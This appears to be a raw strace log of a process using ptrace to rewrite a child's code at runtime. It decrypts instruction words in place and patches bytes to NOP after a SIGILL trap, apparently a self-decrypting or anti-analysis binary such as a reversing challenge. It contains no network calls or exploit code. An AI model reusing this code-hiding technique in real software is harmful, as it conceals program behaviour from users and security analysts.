ptrace(PTRACE_PEEKTEXT, 482327, 0x402127, [0x4dc3c7a5b5ef430d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402127, 0xf54de01a78fc4544) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40212f, [0x8fe466aa9d1e2398]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40212f, 0x376a4115500d25d1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402137, [0x80ee0866841da5a4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402137, 0x38602fd9490ea3ed) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40213f, [0xb64e51cfe3849e6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40213f, 0xb3eac2a3332b4faf) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402147, [0xbbf69f526b9c6815]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402147, 0x378b8eda68f6e5c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40214f, [0xa52abe8f162e2c44]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40214f, 0x1da49930db3d2a0d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402157, [0x37a391f4ab90bb80]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402157, 0x8f2db64b6683bdc9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40215f, [0x50eef5b364af1f27]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40215f, 0xe860d20ca9bc196e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402167, [0x144cb929ac528bf9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402167, 0xacc29e9661418db0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40216f, [0x11a9d6bfb3649381]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40216f, 0xa927f1007e7795c8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402177, [0x499a9cd71c43b83b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402177, 0xf114bb68d150be72) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40217f, [0xa9b253b5f8270bbe]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40217f, 0x113c740a35340df7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402187, [0xeac30eea0c2993b7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402187, 0x524d2955c13a95fe) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40218f, [0x407deb642aecfa6c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40218f, 0xf8f3ccdbe7fffc25) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402197, [0x5c9d73860bc91b8a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402197, 0xe4135439c6da1dc3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40219f, [0x36098fc66b4c45b5]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40219f, 0x8e87a879a65f43fc) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021a7, [0x9d1b8f3624dfd44e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021a7, 0x2595a889e9ccd207) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021af, [0x27ba195499b7ed86]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021af, 0x9f343eeb54a4ebcf) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021b7, [0xa479bfa3d79445e7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021b7, 0x1cf7981c1a8743ae) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021bf, [0x5a79c67923ce6207]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021bf, 0xe2f7e1c6eedd644e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021c7, [0x43a7da02eab650f9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021c7, 0xfb29fdbd27a556b0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021cf, [0x479c6a4dce9a82bb]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021cf, 0xff124df2038984f2) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021d7, [0xf43c04ed0034b4f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021d7, 0x4cb22352cd27b2b9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021df, [0x4e37ab94ca451a24]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021df, 0xf6b98c2b07561c6d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021e7, [0x479c6a4dce9a82bb]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021e7, 0xff124df2038984f2) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021ef, [0xf43c04ed0034b4f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021ef, 0x4cb22352cd27b2b9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021f7, [0xd0c355476a82ae64]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021f7, 0x684d72f8a791a82d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021ff, [0x86fa68291b26704d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021ff, 0x3e744f96d6357604) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402207, [0x5ff45a252e3f9add]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402207, 0xe77a7d9ae32c9c94) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40220f, [0x52a3df0dea5761e3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40220f, 0xea2df8b2274467aa) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402217, [0x5b416168f5ea481b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402217, 0xe3cf46d738f94e52) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40221f, [0xf5da0cd95e37e6a3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40221f, 0x4d542b669324e0ea) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402227, [0xab1c9f61fc63ae0c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402227, 0x1392b8de3170a845) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40222f, [0xb1d6bf20852f68d8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40222f, 0x958989f483c6e91) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402237, [0x7c87ddbc84150875]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402237, 0xc409fa0349060e3c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40223f, [0x4012409504bd11de]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40223f, 0xf89c672ac9ae1797) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402247, [0x2283fe1c0de1c2ae]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402247, 0x9a0dd9a3c0f2c4e7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40224f, [0xc6fc07d1c451080d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40224f, 0x7e72206e09420e44) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402257, [0xa46b6c83ed598ea7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402257, 0x1ce54b3c204a88ee) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40225f, [0xa2ceb8d181929954]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40225f, 0x1a409f6e4c819f1d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402267, [0xd4e0f6e600e1d2fa]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402267, 0x6c6ed159cdf2d4b3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40226f, [0x4485bb1b21ef3240]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40226f, 0xfc0b9ca4ecfc3409) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402277, [0x22cd788af55595c3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402277, 0x9a435f353846938a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40227f, [0xcc2f4affeff8bcb2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40227f, 0x74a16d4022ebbafb) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402287, [0xc47db72a168de327]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402287, 0x7cf39095db9ee56e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40228f, [0xf5ffeff75661c39c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40228f, 0x4d71c8489b72c5d5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402297, [0xdabfb30da5af74c8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402297, 0x623194b268bc7281) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40229f, [0xd169774c2737c4fc]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40229f, 0x69e750f3ea24c2b5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022a7, [0x57ee9bf1c4e37bf9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022a7, 0xef60bc4e09f07db0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022af, [0x7bf01c6b1959a1a7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022af, 0xc37e3bd4d44aa7ee) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022b7, [0xf74e1bcd451316b4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022b7, 0x4fc03c72880010fd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022bf, [0xb1def1357394d0ed]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022bf, 0x950d68abe87d6a4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022c7, [0x6f6ca5dabb4045ff]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022c7, 0xd7e28265765343b6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022cf, [0x63588580315eea26]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022cf, 0xdbd6a23ffc4dec6f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022d7, [0xb430e85defa14fb2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022d7, 0xcbecfe222b249fb) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022df, [0x2e5289cf53daaf28]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022df, 0x96dcae709ec9a961) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022e7, [0xa688068af7de5934]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022e7, 0x1e0621353acd5f7d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022ef, [0xe3123ef6e7353394]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022ef, 0x5b9c19492a2635dd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022f7, [0xb513a78495b60d20]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022f7, 0xd9d803b58a50b69) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022ff, [0x951b4c5883373318]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022ff, 0x2d956be74e243551) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402307, [0x3ddd97e914bd005e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402307, 0x8553b056d9ae0617) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40230f, [0x3829cf572926d40d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40230f, 0x80a7e8e8e435d244) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402317, [0x5c1a6e6d36d9d4e8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402317, 0xe49449d2fbcad2a1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40231f, [0x29cbb1f483d81cb6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40231f, 0x9145964b4ecb1aff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402327, [0xb25a0d20a4370dc0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402327, 0xad42a9f69240b89) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40232f, [0x665d788f1abcc6b4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40232f, 0xded35f30d7afc0fd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402337, [0x61a0b40b3b3bed1e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402337, 0xd92e93b4f628eb57) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40233f, [0xbdc4710a6e782dce]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40233f, 0x54a56b5a36b2b87) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402347, [0xb47ef245faa5d8fc]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402347, 0xcf0d5fa37b6deb5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40234f, [0xb2f2435671f0af0a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40234f, 0xa7c64e9bce3a943) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402357, [0x4138ee2c66239032]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402357, 0xf9b6c993ab30967b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40235f, [0xbfe2dd86c05d8a4f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40235f, 0x76cfa390d4e8c06) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402367, [0xee4577f1b616d55e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402367, 0x56cb504e7b05d317) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40236f, [0xd0027146a3a4228d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40236f, 0x688c56f96eb724c4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402377, [0xa815697a49da7753]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402377, 0x109b4ec584c9711a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40237f, [0xb570579d8d12fd1]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40237f, 0xb3d922c615c22998) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402387, [0xfdf48b76d70fd4ef]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402387, 0x457aacc91a1cd2a6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40238f, [0x554500b4741733af]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40238f, 0xedcb270bb90435e6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402397, [0xafdb430f33b3dbe8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402397, 0x175564b0fea0dda1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40239f, [0xd4d1cf26f5a53055]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40239f, 0x6c5fe89938b6361c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023a7, [0x6158d24f70af6cb3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023a7, 0xd9d6f5f0bdbc6afa) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023af, [0xf8cf55143ac6051e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023af, 0x404172abf7d50357) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023b7, [0x72be8fd34666f567]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023b7, 0xca30a86c8b75f32e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023bf, [0x8bd10e6bc7ddfc2d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023bf, 0x335f29d40acefa64) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023c7, [0xc0080d89cc957f94]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023c7, 0x78862a36018679dd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023cf, [0x665d788f1abcc6b4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023cf, 0xded35f30d7afc0fd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023d7, [0xe35cc106358f7123]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023d7, 0x5bd2e6b9f89c776a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023df, [0x9d1b8f3624dfd44e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023df, 0x2595a889e9ccd207) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023e7, [0xf79264d7bb89dff3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023e7, 0x4f1c4368769ad9ba) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023ef, [0x76f2bdedf55f4d8a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023ef, 0xce7c9a52384c4bc3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023f7, [0x74194246b604653a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023f7, 0xcc9765f97b176373) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023ff, [0x854690136ba077fa]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023ff, 0x3dc8b7aca6b371b3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402407, [0x6310971a5fd527bd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402407, 0xdb9eb0a592c621f4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40240f, [0x1ffac2af3c61b56a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40240f, 0xa774e510f172b323) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402417, [0x6b6996af3ddb5c06]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402417, 0xd3e7b110f0c85a4f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40241f, [0x8732624123ef734d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40241f, 0x3fbc45feeefc7504) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402427, [0x3b29f26ed8d4b130]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402427, 0x83a7d5d115c7b779) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40242f, [0x5188ada972817737]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40242f, 0xe9068a16bf92717e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402437, [0x24d8ef5d9ab01bad]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402437, 0x9c56c8e257a31de4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40243f, [0x9141e872b7d99361]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40243f, 0x29cfcfcd7aca9528) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402447, [0xc42f9496c9081b88]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402447, 0x7ca1b329041b1dc1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40244f, [0x6faa40f098fbe94d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40244f, 0xd724674f55e8ef04) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402457, [0xcf9df3604f62125]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402457, 0xb477f889c9e5276c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40245f, [0x43d10587f895a9e8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40245f, 0xfb5f22383586afa1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402467, [0x6a62699201400b85]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402467, 0xd2ec4e2dcc530dcc) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40246f, [0xf71def8f303c4f91]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40246f, 0x4f93c830fd2f49d8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402477, [0x79aff66cb427a1c8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402477, 0xc121d1d37934a781) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40247f, [0x271443d154028df]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40247f, 0xbaff6382d8532e96) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402487, [0xe5894855fa1e0ff3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402487, 0x5d076fea370d09ba) = 0
nanosleep({tv_sec=0, tv_nsec=10000000}, 0x7ffec89cdf30) = 0
ptrace(PTRACE_SETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce1f0, rbx=0x1, r11=0x246, r10=0x448, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x402047, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5c0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_CONT, 482327, NULL, 0)    = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=482327, si_uid=1000, si_status=SIGILL, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGILL}], 0, NULL) = 482327
ptrace(PTRACE_GETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce1f0, rbx=0x1, r11=0x246, r10=0x428, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x402051, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5c0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402053, [0x6262626261616161]) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40205b, [0x6464646463636363]) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402051, [0x6262616161610b0f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402051, 0x6262616161610b90) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402052, [0x626262616161610b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402052, 0x6262626161616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402053, [0x6262626261616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402053, 0x6262626261616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402054, [0x6362626262616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402054, 0x6362626262616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402055, [0x6363626262626161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402055, 0x6363626262626190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402056, [0x6363636262626261]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402056, 0x6363636262626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402057, [0x6363636362626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402057, 0x6363636362626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402058, [0x6463636363626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402058, 0x6463636363626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402059, [0x6464636363636262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402059, 0x6464636363636290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40205a, [0x6464646363636362]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205a, 0x6464646363636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40205b, [0x6464646463636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205b, 0x6464646463636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40205c, [0x4a64646464636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205c, 0x4a64646464636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40205d, [0xc44a646464646363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205d, 0xc44a646464646390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40205e, [0xc1c44a6464646463]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205e, 0xc1c44a6464646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40205f, [0x13c1c44a64646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205f, 0x13c1c44a64646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402060, [0x313c1c44a646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402060, 0x313c1c44a646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402061, [0x70313c1c44a6464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402061, 0x70313c1c44a6490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402062, [0x7070313c1c44a64]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402062, 0x7070313c1c44a90) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402063, [0x3607070313c1c44a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402063, 0x3100000410c2c749) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40206b, [0x66666666038964c3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40206b, 0x61616161008a67c0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402073, [0x6464646461616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402073, 0x6363636362626262) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40207b, [0x6e469db567676767]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207b, 0x69419ab264646464) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402083, [0xaa092bee04276464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402083, 0xad0e2ce907246767) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40208b, [0x7e5685d52d1cc9ea]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40208b, 0x795182d22e1fcae9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402093, [0x2def6e0feed75dbd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402093, 0x2ae86908edd45ebe) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40209b, [0x907409574e0d27f3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40209b, 0x97730e504d0e24f0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020a3, [0xfd9c9d3b5ce0be2d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020a3, 0xfa9b9a3c5fe3bd2e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020ab, [0xa4689f60be5630e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020ab, 0xd418ef108e6600d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020b3, [0x69404fca149a7426]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020b3, 0x6e4748cd17997725) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020bb, [0x4e850f7e49c45259]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020bb, 0x498208794ac7515a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020c3, [0xa7c8802e8904e20f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020c3, 0xa0cf87298a07e10c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020cb, [0x8db412b9a453e02f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020cb, 0x8ab315bea750e32c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020d3, [0x3e1ce2f7e009fc9e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020d3, 0x391be5f0e30aff9d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020db, [0x6e060dbeb4d30ece]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020db, 0x69010ab9b7d00dcd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020e3, [0x552eea60e52006e0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020e3, 0x5229ed67e62305e3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020eb, [0xed005edf40665870]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020eb, 0xea0759d843655b73) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020f3, [0xb2b5bd33a5ddfa27]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020f3, 0xb5b2ba34a6def924) = 0
